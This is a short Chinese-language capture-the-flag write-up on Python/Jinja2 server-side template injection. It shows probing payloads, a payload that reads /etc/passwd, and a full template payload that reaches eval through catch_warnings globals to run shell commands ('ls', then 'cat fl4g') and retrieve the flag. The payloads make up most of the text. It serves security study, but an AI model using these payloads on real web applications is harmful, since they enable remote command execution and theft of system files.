python模板注入
看了一堆文章,也不是看的很明白,反而把题目做出来了
大概思路如下
简单探测
返回
说明服务器执行了{{}}里面这一段代码
利用{{ config.items() }}可以查看服务器的配置信息
读取passwd信息
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
执行成功
Python3代码
执行下面这一段代码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
列出文件
修改一下命令
ls 改成cat fl4g,就可以读取flag了
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
Get flag成功
Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
说起来参考了这几位师傅的文章,链接如下
https://blog.csdn.net/iamsongyu/article/details/85861811
https://www.cnblogs.com/wfzWebSecuity/p/9415641.html
https://xz.aliyun.com/t/2908